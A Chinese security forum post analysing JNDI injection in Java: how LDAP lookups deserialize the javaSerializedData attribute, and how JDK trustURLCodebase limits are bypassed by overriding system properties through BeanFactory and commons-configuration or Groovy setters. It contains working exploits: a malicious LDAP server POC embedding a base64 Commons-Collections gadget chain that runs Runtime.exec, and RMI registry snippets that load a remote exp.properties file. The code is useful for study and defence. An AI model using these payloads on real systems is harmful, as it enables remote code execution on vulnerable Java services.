从Deserialization和覆盖trustURLCodebase进行JNDI注入
DeserializationLDAP
在通过LDAP协议访问远程服务的时候,我们可以跟进到 LdapCtx#c_lookup方法中
https://sec-in.com/img/sin/M00/01/3C/wKg0C2NxyHKAVHxbAABP1fXzUsU993.png
这里调用了 doSearchOnce方法获取LDAP远程返回的Result数据
到最后会来到 LdapCtx#doSearch方法中
https://sec-in.com/img/sin/M00/01/3C/wKg0C2NxyJeAS6LLAAAuaEd2XD0873.png
存在有 LdapClient#search方法的调用
首先他会封装了一个 LdapRequest的请求,之后通过 getSearchReply方法的调用获取对应的查询结果
https://sec-in.com/img/sin/M00/01/3C/wKg0C2NxyKWAF6e0AAA5RK8qMBU555.png
跟进一下
https://sec-in.com/img/sin/M00/01/3C/wKg0C2NxyLGAdrCPAACLKoIaYjA886.png
在获取了返回的属性之后,将其放入了 BasicAttributes类对象中
https://sec-in.com/img/sin/M00/01/3C/wKg0C2NxyLuAQuEvAABAYQHTX4g837.png
之后将会把获取到的 LdapEntry封装进入 LdapResult对象中去
https://sec-in.com/img/sin/M00/01/3C/wKg0C2NxyMWAM8eSAABXq2fdpK8022.png
最后返回了这个 LdapResult对象
好的,现在回到了 LdapCtx#c_lookup方法中来了
https://sec-in.com/img/sin/M00/01/3C/wKg0C2NxyNCAYqatAABSoJWWhfs820.png
在 682行中的var23就是前面返回的 LdapResult对象,首先会判断其的 entries属性是否为不为空,且要求只存在有一个 LdapEntry对象,如果满足上面的条件,就会取出 LdapResult中的 LdapEntry对象,其为 var25这个变量,并且也会取出 LdapEntry中的属性,上图中的 var4是一个 BasicAttributes对象
https://sec-in.com/img/sin/M00/01/3C/wKg0C2NxyN6AG7b2AABSO1wiq9g930.png
会判断属性中是否存在有 javaClassName,如果有
将会调用 Obj.decodeObject方法进行解析
https://sec-in.com/img/sin/M00/01/3C/wKg0C2NxyOmAVsoEAACEUWRG3JA818.png
首先获取了javaCodeBase属性值,之后在 145行中判断了是否存在有 javaSerializedData属性,如果有就在获取了对应的ClassLoader之后通过调用 deserializeObject方法进行反序列化
https://sec-in.com/img/sin/M00/01/3C/wKg0C2NxyPOAXZxZAABzfh7kx3Y486.png
最后调用了 java.io.InputStream#readObject方法进行了反序列化
POC
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
public class SerializeLdapServer {
public static void main(String[] args) throws Exception {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("127.0.0.1"),
389,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()
));
config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer directoryServer = new InMemoryDirectoryServer(config);
directoryServer.startListening();
System.out.println("ldap://127.0.0.1:389 is working...");
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry entry = new Entry(base);
entry.addAttribute("javaClassName", "hahaha");
try {
entry.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRv" +
"cmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznB" +
"H9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4" +
"cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSC" +
"nnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5z" +
"Zm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFp" +
"bmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUv" +
"Y29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9u" +
"cy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hl" +
"LmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGU" +
"AgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBz" +
"cgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zv" +
"cm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5h" +
"bWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNz" +
"O3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1" +
"cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsA" +
"AAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAA" +
"AnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAA" +
"AAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAA" +
"AAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdl" +
"chLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAB" +
"c3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xk" +
"eHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}catch (Exception e){
e.printStackTrace();
}
}
}
}exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
readObject:342, HashSet (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
deserializeObject:531, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:8, LdapClient (pers.jndi)
RMI
RMI也有着同样的反序列化利用
在sun.rmi.transport.StreamRemoteCall#executeCall中有着漏洞点
https://sec-in.com/img/sin/M00/01/3C/wKg0C2NxyQuAKzulAABhjHk5f5A421.png
覆盖trustURLCodebase
在高版本中的JDK中不管是Ldap或者是RMI都存在有trustURLCodebase的限制
如果我们能够将该属性值置为true也就能够间接绕过限制
所以我们需要寻找到能够System.setProperty的调用,覆盖掉trustURLCodebase属性值
且我们有了前面的基础,我们知道对于org.apache.naming.factory.BeanFactory这个Factory来说,需要目标的Bean Class满足
[*]必须有一个无参构造方法
[*]有public的setter方法且参数为一个String类型。
在commons-configuration包中存在有org.apache.commons.configuration.SystemConfiguration#setSystemProperties方法满足条件
https://sec-in.com/img/sin/M00/01/3C/wKg0C2NxyRWAYRpEAABJhqNkmUU048.png
从该方法的注释我们知道,这个方法能够从一个属性配置文件中取值设置对应的system properties
https://sec-in.com/img/sin/M00/01/3C/wKg0C2NxyR-AIHNmAABY4ncuMVU541.png
在创建了PropertiesConfiguration对象config之后调用load方法进行配置文件的加载
https://sec-in.com/img/sin/M00/01/3C/wKg0C2NxySiALZv2AABJDNVBI-8675.png
继续调用了load方法
https://sec-in.com/img/sin/M00/01/3C/wKg0C2NxyTGAQ-sCAABE0qNFKHE874.png
调用了load方法加载远程url作为参数,获取远程配置
https://sec-in.com/img/sin/M00/01/3C/wKg0C2NxyTuAAb6hAABVR-Kn764448.png
获取远程输入流
之后调用load方法加载
一直可以跟踪到PropertiesConfigurationLayout#load方法中设置了属性和值之间的分隔符是=
https://sec-in.com/img/sin/M00/01/3C/wKg0C2NxyUSAEQyvAABEzY3qqcE227.png
同样在这个方法中通过一个while循环遍历reader中的属性配置
https://sec-in.com/img/sin/M00/01/3C/wKg0C2NxyU2AIgtXAABYutyQkXc798.png
最后回到了setSystemProperties方法中
https://sec-in.com/img/sin/M00/01/3C/wKg0C2NxyVeAeBi8AABbYzPBFSk225.png
通过调用setSystemProperties进行了属性的覆盖
https://sec-in.com/img/sin/M00/01/3C/wKg0C2NxyWOAXxHWAABl_GlcUEs465.png
这里就很明了了,通过迭代器,调用System.setProperty为属性赋值
commons-configuration
Registry registry = LocateRegistry.createRegistry(2000);
ResourceRef resourceRef = new ResourceRef("org.apache.commons.configuration.SystemConfiguration", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "x=setSystemProperties"));
resourceRef.add(new StringRefAddr("x", "http://127.0.0.1/exp.properties"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("test", referenceWrapper);
https://sec-in.com/img/sin/M00/01/3C/wKg0C2NxyXKAKbf5AABqUANtafQ450.png
commons-configuration2
对于这个jar包和上面的大体流程差不多就不分析了
Registry registry = LocateRegistry.createRegistry(2000);
ResourceRef resourceRef = new ResourceRef("org.apache.commons.configuration2.SystemConfiguration", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "x=setSystemProperties"));
resourceRef.add(new StringRefAddr("x", "http://127.0.0.1/exp.properties"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("test", referenceWrapper);
https://sec-in.com/img/sin/M00/01/3C/wKg0C2NxyXyACLoAAABfOQOoFVA635.png
Groovy
在Groovy组件中存在有setSystemPropertyFrom方法
https://sec-in.com/img/sin/M00/01/3C/wKg0C2NxyYqAdQg9AACKkgHDNFU729.png
这个BeanClass也满足条件,在该方法中,将会对namValue参数值通过=进行分割,分别得到name和value值,之后调用了System.setProperty方法进行赋值
其他
当然还有这其他的第三方库存在有这样的功能的方法能够利用,只需要使用CodeQL或者其他静态代码分析工具进行筛选就行
其他的BeanFactory
当然除了catalina.jar中的类org.apache.naming.factory.BeanFactory可以利用
在tomcat-jdbc.jar中也存在有org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory这个BeanFactory
我们来看看他的getObjectInstance方法
https://sec-in.com/img/sin/M00/01/3C/wKg0C2NxyZWAUAyeAACeLO1T2sQ347.png
将会获取返回的Reference类,实例化了目标类,之后分别取出了param和value的值之后调用setProperty方法
https://sec-in.com/img/sin/M00/01/3C/wKg0C2NxyZ6ADh7pAACQJ3Yfxj4672.png
在60行的位置,他直接在name前面拼接上了get字符串,在取出了目标类的所有方法之后,通过for循环进行遍历获取setter的方法名,并调用
这里就很明显了,可以通过前面说的commons-configuration / commons-configuration2 / Groovy的setter方法来执行
这里给出一个例子
Registry registry = LocateRegistry.createRegistry(2000);
ResourceRef resourceRef = new ResourceRef("org.apache.commons.configuration.SystemConfiguration", null, "", "", true, "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", null);
resourceRef.add(new StringRefAddr("systemProperties", "http://127.0.0.1/exp.properties"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("test", referenceWrapper);
https://sec-in.com/img/sin/M00/01/3C/wKg0C2NxyamAQcd5AACCbPvwzR4609.png
版本限制
小于 Tomcat8 时无法使用 ELProcessor.eval 执行代码
只能在Tomcat下使用BeanFactory类调用任意方法
以较低版本Tomcat 如7.0.4时,BeanFactory只支持执行 setter 方法,无法再使用EL或Groovy执行
代码
Ref
https://github.com/iSafeBlue/presentation-slides/blob/main/BCS2022-%E6%8E%A2%E7%B4%A2JNDI%E6%94%BB%E5%87%BB.pdf
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页:
[1]